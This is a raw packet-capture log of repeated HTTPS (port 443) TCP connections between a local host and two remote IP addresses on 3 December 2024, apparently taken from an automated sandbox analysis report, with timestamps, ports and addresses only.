Dec 3, 2024 17:55:07.306215048 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.306221962 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.309572935 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.309616089 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.309902906 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.310122013 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.310132980 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.318042994 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.318104029 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.318169117 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.318275928 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.318291903 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.318300009 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.318304062 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.322741985 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.322772026 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.322833061 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.323014021 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.323026896 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.369995117 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.370493889 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.370532036 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.371149063 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.371161938 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.544302940 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.544375896 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.544653893 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.544709921 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.544729948 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.544739962 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.544745922 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.548098087 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.548147917 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.548223019 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.548443079 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.548456907 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.778772116 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.779397964 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.779432058 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.779870987 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.779875040 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.824007034 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.824064970 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.824342012 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.824382067 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.824404001 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.824417114 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.824423075 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.827769041 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.827809095 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.827883005 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.828061104 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.828074932 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:08.025315046 CET	49809	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:55:08.025355101 CET	443	49809	142.250.181.100	192.168.2.4
Dec 3, 2024 17:55:08.214900017 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:08.214965105 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:08.215089083 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:08.215432882 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:08.215462923 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:08.215476990 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:08.215482950 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:08.219345093 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:08.219392061 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:08.219542027 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:08.219794989 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:08.219813108 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.153649092 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.154489040 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.154508114 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.154978037 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.154987097 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.216523886 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.217047930 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.217067957 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.217600107 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.217605114 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.385267019 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.385832071 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.385863066 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.386326075 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.386331081 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.598359108 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.598419905 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.598510981 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.598783970 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.598797083 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.598808050 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.598814011 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.602225065 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.602250099 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.602333069 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.602511883 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.602519989 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.671896935 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.671963930 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.672025919 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.672226906 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.672244072 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.672255039 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.672260046 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.675638914 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.675683975 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.675754070 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.675889015 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.675903082 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.685182095 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.685600042 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.685611010 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.686075926 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.686080933 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.875155926 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.875797033 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.875828981 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.876348972 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.876353979 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.888967991 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.889039040 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.889095068 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.889350891 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.889350891 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.889367104 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.889375925 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.892498970 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.892544031 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:09.892627954 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.892776966 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:09.892792940 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.141088963 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.141156912 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.141223907 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.141417980 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.141437054 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.141446114 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.141450882 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.144473076 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.144525051 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.144608974 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.144773006 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.144790888 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.321587086 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.321692944 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.321767092 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.321980953 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.322000980 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.322012901 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.322019100 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.325335026 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.325359106 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:10.325428009 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.325635910 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:10.325653076 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.159862995 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.160501957 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.160522938 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.161055088 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.161061049 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.393600941 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.394282103 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.394315958 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.394784927 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.394789934 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.595808029 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.595907927 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.595980883 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.596242905 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.596242905 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.596263885 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.596277952 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.599924088 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.599975109 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.600068092 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.600271940 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.600286961 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.695218086 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.695781946 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.695813894 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.696233034 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.696238995 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.830950975 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.831037045 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.831090927 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.831332922 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.831356049 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.831370115 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.831384897 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.834602118 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.834660053 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.834758043 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.834897995 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.834913969 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.928344011 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.928927898 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.928967953 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:11.929413080 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:11.929420948 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.145291090 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.145360947 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.145431042 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.145690918 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.145714045 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.145730019 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.145735979 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.148972034 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.149005890 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.149091005 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.149272919 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.149290085 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.173343897 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.173855066 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.173885107 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.174341917 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.174346924 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.373554945 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.373620987 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.373681068 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.373922110 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.373944044 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.373955011 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.373960972 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.377136946 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.377191067 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.377283096 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.377455950 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.377468109 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.630893946 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.630961895 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.631073952 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.631302118 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.631326914 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.631341934 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.631347895 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.634567022 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.634612083 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:12.634697914 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.634882927 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:12.634898901 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.452325106 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.452931881 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.452956915 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.453430891 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.453435898 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.567286015 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.567897081 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.567930937 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.568394899 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.568399906 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.927716970 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.927793980 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.927865028 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.928159952 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.928184032 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.928198099 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.928204060 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.933347940 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.933397055 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.933509111 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.933728933 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.933743954 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.939222097 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.939774990 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.939796925 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:13.941077948 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:13.941086054 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.003982067 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.004055977 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.004132032 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.004363060 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.004381895 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.004412889 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.004419088 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.008121014 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.008172989 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.008248091 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.008392096 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.008411884 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.097435951 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.097989082 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.098031998 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.098484039 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.098489046 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.352158070 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.353080988 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.353117943 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.353976011 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.353981972 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.390736103 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.390815020 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.390868902 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.391077995 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.391102076 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.391114950 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.391122103 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.394260883 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.394304037 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.394392014 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.394602060 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.394612074 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.543391943 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.543461084 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.543575048 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.543837070 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.543859959 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.543875933 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.543880939 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.547178984 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.547235012 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.547333002 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.547527075 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.547538996 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.789737940 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.789803028 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.789902925 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.790213108 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.790235043 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.790256023 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.790261984 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.793771982 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.793817043 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:14.793905973 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.794081926 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:14.794095993 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:15.788736105 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:15.789378881 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:15.789411068 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:15.789875984 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:15.789880037 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:15.866570950 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:15.867413044 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:15.867459059 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:15.867913961 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:15.867922068 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.125312090 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.125971079 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.126008987 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.126491070 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.126497030 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.246084929 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.246155977 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.246227026 CET	49850	443	192.168.2.4	13.107.246.63
